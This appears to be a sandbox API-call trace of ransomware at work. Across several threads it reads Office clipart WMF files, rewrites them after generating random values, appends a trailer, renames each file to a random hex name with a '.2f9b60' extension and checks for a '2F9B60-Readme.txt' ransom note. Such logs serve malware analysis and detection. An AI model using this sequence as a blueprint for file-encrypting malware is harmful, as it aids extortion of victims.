0x5cbb892a [0108.700] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x39651b56 [0108.700] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x66b27aab [0108.700] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x22d89ed8 [0108.700] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x5dcdebd6 [0108.700] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x39b495b0 [0108.700] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x72d4c288 [0108.700] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x27d0b641 [0108.700] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x4be609ea [0108.700] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x60065368 [0108.700] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x4e3a84ce [0108.700] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x38a83fa9 [0108.700] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x10aebc94 [0108.700] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x46520ba2 [0108.700] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x16dd421 [0108.700] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x326c60d9 [0108.714] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.714] ReadFile (in: hFile=0xed0, lpBuffer=0x41e5b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2af7f8c0, lpOverlapped=0x0 | out: lpBuffer=0x41e5b4e0*, lpNumberOfBytesRead=0x2af7f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0108.723] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0108.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867740 [0108.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860630 [0108.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860630) returned 1 [0108.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e71d40 [0108.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860630 [0108.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860030 [0108.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860030) returned 1 [0108.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.724] WriteFile (in: hFile=0xed0, lpBuffer=0x41e71d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2af7f8c0, lpOverlapped=0x0 | out: lpBuffer=0x41e71d40*, lpNumberOfBytesWritten=0x2af7f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0108.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e71d40) returned 1 [0108.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5b4e0) returned 1 [0108.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b861200 [0108.747] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.747] WriteFile (in: hFile=0xed0, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2af7f970, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2af7f970*=0x10a, lpOverlapped=0x0) returned 1 [0108.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0108.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866c40 [0108.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8604e0) returned 1 [0108.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602d0 [0108.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8602d0) returned 1 [0108.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0108.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0108.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.754] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="20") returned 2 [0108.754] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="97") returned 2 [0108.754] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="8b") returned 2 [0108.754] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="55") returned 2 [0108.754] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="27") returned 2 [0108.754] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="52") returned 2 [0108.754] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="82") returned 2 [0108.754] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="41") returned 2 [0108.754] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="2b") returned 2 [0108.754] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="6f") returned 2 [0108.754] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="b7") returned 2 [0108.754] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="82") returned 2 [0108.754] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="e9") returned 2 [0108.754] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="7d") returned 2 [0108.754] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="82") returned 2 [0108.754] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="7d") returned 2 [0108.755] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="23") returned 2 [0108.755] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="b1") returned 2 [0108.755] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="c8") returned 2 [0108.755] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="17") returned 2 [0108.755] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="32") returned 2 [0108.755] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="8d") returned 2 [0108.755] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="0c") returned 2 [0108.755] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="be") returned 2 [0108.755] RtlInitAnsiString (in: DestinationString=0x2af7f9e8, SourceString="20978b55275282412b6fb782e97d827d23b1c817328d0cbe" | out: DestinationString="20978b55275282412b6fb782e97d827d23b1c817328d0cbe") [0108.755] RtlAnsiStringToUnicodeString (in: DestinationString=0x2af7f9b8, SourceString="20978b55275282412b6fb782e97d827d23b1c817328d0cbe", AllocateDestinationString=1 | out: DestinationString="20978b55275282412b6fb782e97d827d23b1c817328d0cbe") returned 0x0 [0108.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9400 [0108.755] wcscat (in: _Dest=0x20500ef0, _Source="20978b552752" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\20978b552752") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\20978b552752" [0108.755] wcscat (in: _Dest=0x20500ef0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\20978b552752.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\20978b552752.2f9b60" [0108.755] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\20978b552752.2f9b60", NtPathName=0x2af7f990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\20978b552752.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x420609b0 [0108.756] NtSetInformationFile (FileHandle=0xed0, IoStatusBlock=0x2af7fa30, FileInformation=0x420609b0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0110.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420609b0) returned 1 [0110.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202642e0) returned 1 [0110.060] NtQueryInformationFile (in: FileHandle=0xed0, IoStatusBlock=0x2af7f9f8, FileInformation=0x2af7fa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2af7f9f8, FileInformation=0x2af7fa08) returned 0x0 [0110.060] NtSetInformationFile (FileHandle=0xed0, IoStatusBlock=0x2af7f9f8, FileInformation=0x2af7fa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500ef0) returned 1 [0110.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9400) returned 1 [0110.073] FlushFileBuffers (hFile=0xed0) returned 1 [0110.106] CloseHandle (hObject=0xed0) returned 1 [0110.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20501030 [0110.108] wcscpy (in: _Dest=0x20501030, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0110.108] wcscat (in: _Dest=0x20501030, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0110.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0110.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501030) returned 1 [0110.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4ade0) returned 1 Thread: id = 673 os_tid = 0x1168 [0096.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0x20 [0107.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF", dwFileAttributes=0x20) returned 1 [0108.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe5c [0108.658] GetFileSizeEx (in: hFile=0xe5c, lpFileSize=0x2b12fc20 | out: lpFileSize=0x2b12fc20*=10832) returned 1 [0108.659] SetFilePointerEx (in: hFile=0xe5c, liDistanceToMove=0x2a4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.659] ReadFile (in: hFile=0xe5c, lpBuffer=0x2b12fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b12fbe8, lpOverlapped=0x0 | out: lpBuffer=0x2b12fba0*, lpNumberOfBytesRead=0x2b12fbe8*=0x4, lpOverlapped=0x0) returned 1 [0108.673] SetFilePointerEx (in: hFile=0xe5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fee0 [0108.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602d0 [0108.674] NtQuerySystemTime (in: CurrentTime=0x2b12fae0 | out: CurrentTime=0x2b12fae0*=132462177141682000) returned 0x0 [0108.674] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x27fb8f01 [0108.674] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x34e0600f [0108.674] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x575e6e54 [0108.674] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x102c6b68 [0108.674] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x47518b4f [0108.674] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x4d816b2b [0108.674] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x287c1941 [0108.674] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x3c249d19 [0108.674] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x43ec2922 [0108.674] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x7645498d [0108.674] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x74975f80 [0108.674] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0xb32f3f4 [0108.674] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x758c3025 [0108.674] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x433454ac [0108.674] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x2f2721df [0108.675] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x714e7d5c [0108.675] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x366ad89a [0108.675] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x214d9f65 [0108.675] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x7c44342b [0108.675] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x560f8391 [0108.675] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x33532f2c [0108.675] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x62c61912 [0108.675] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x71b42f6e [0108.675] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x3373d0d8 [0108.675] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x564e7c76 [0108.675] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x3623e204 [0108.675] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x279f2cad [0108.675] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x12fc53f1 [0108.675] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x5ade352f [0108.675] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0xcc4d48f [0108.675] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x65953a44 [0108.675] RtlRandomEx (in: Seed=0x2b12fad0 | out: Seed=0x2b12fad0) returned 0x91b0dbd [0108.687] ReadFile (in: hFile=0xe5c, lpBuffer=0x41e71d40, nNumberOfBytesToRead=0x2a50, lpNumberOfBytesRead=0x2b12fad0, lpOverlapped=0x0 | out: lpBuffer=0x41e71d40*, lpNumberOfBytesRead=0x2b12fad0*=0x2a50, lpOverlapped=0x0) returned 1 [0108.696] SetFilePointerEx (in: hFile=0xe5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.697] WriteFile (in: hFile=0xe5c, lpBuffer=0x41e75950*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x2b12fad4, lpOverlapped=0x0 | out: lpBuffer=0x41e75950*, lpNumberOfBytesWritten=0x2b12fad4*=0x2a50, lpOverlapped=0x0) returned 1 [0108.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602d0 [0108.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8602d0) returned 1 [0108.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e75950) returned 1 [0108.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e71d40) returned 1 [0108.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b8602d0 [0108.722] SetFilePointerEx (in: hFile=0xe5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.722] WriteFile (in: hFile=0xe5c, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2b12fbf0, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2b12fbf0*=0x10a, lpOverlapped=0x0) returned 1 [0108.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0108.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866c40 [0108.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa60 [0108.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fa60) returned 1 [0108.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa60 [0108.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600c0 [0108.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8600c0) returned 1 [0108.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0108.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0108.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.744] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="10") returned 2 [0108.744] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="86") returned 2 [0108.744] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="fa") returned 2 [0108.744] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="2b") returned 2 [0108.744] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="69") returned 2 [0108.744] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="60") returned 2 [0108.744] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="08") returned 2 [0108.744] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="4e") returned 2 [0108.744] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="d3") returned 2 [0108.744] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="39") returned 2 [0108.744] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="eb") returned 2 [0108.744] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="56") returned 2 [0108.744] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="7e") returned 2 [0108.744] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="77") returned 2 [0108.744] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="31") returned 2 [0108.744] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="74") returned 2 [0108.744] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="6a") returned 2 [0108.744] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="2f") returned 2 [0108.744] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="e6") returned 2 [0108.744] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="05") returned 2 [0108.744] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="b8") returned 2 [0108.745] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="12") returned 2 [0108.745] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="25") returned 2 [0108.745] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="ab") returned 2 [0108.745] RtlInitAnsiString (in: DestinationString=0x2b12fc68, SourceString="1086fa2b6960084ed339eb567e7731746a2fe605b81225ab" | out: DestinationString="1086fa2b6960084ed339eb567e7731746a2fe605b81225ab") [0108.745] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b12fc38, SourceString="1086fa2b6960084ed339eb567e7731746a2fe605b81225ab", AllocateDestinationString=1 | out: DestinationString="1086fa2b6960084ed339eb567e7731746a2fe605b81225ab") returned 0x0 [0108.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced97f0 [0108.745] wcscat (in: _Dest=0x20500e50, _Source="1086fa2b6960" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1086fa2b6960") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1086fa2b6960" [0108.745] wcscat (in: _Dest=0x20500e50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1086fa2b6960.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1086fa2b6960.2f9b60" [0108.745] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1086fa2b6960.2f9b60", NtPathName=0x2b12fc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1086fa2b6960.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x420608f0 [0108.745] NtSetInformationFile (FileHandle=0xe5c, IoStatusBlock=0x2b12fcb0, FileInformation=0x420608f0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0110.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608f0) returned 1 [0110.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264510) returned 1 [0110.061] NtQueryInformationFile (in: FileHandle=0xe5c, IoStatusBlock=0x2b12fc78, FileInformation=0x2b12fc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b12fc78, FileInformation=0x2b12fc88) returned 0x0 [0110.061] NtSetInformationFile (FileHandle=0xe5c, IoStatusBlock=0x2b12fc78, FileInformation=0x2b12fc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500e50) returned 1 [0110.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced97f0) returned 1 [0110.071] FlushFileBuffers (hFile=0xe5c) returned 1 [0110.077] CloseHandle (hObject=0xe5c) returned 1 [0110.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500ef0 [0110.091] wcscpy (in: _Dest=0x20500ef0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0110.091] wcscat (in: _Dest=0x20500ef0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0110.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0110.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500ef0) returned 1 [0110.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4ae70) returned 1 Thread: id = 674 os_tid = 0x116c [0096.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 0x20 [0107.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF", dwFileAttributes=0x20) returned 1 [0108.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1490 [0108.650] GetFileSizeEx (in: hFile=0x1490, lpFileSize=0x2ac5fc60 | out: lpFileSize=0x2ac5fc60*=14428) returned 1 [0108.654] SetFilePointerEx (in: hFile=0x1490, liDistanceToMove=0x3858, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.654] ReadFile (in: hFile=0x1490, lpBuffer=0x2ac5fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ac5fc28, lpOverlapped=0x0 | out: lpBuffer=0x2ac5fbe0*, lpNumberOfBytesRead=0x2ac5fc28*=0x4, lpOverlapped=0x0) returned 1 [0108.660] SetFilePointerEx (in: hFile=0x1490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8612f0 [0108.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 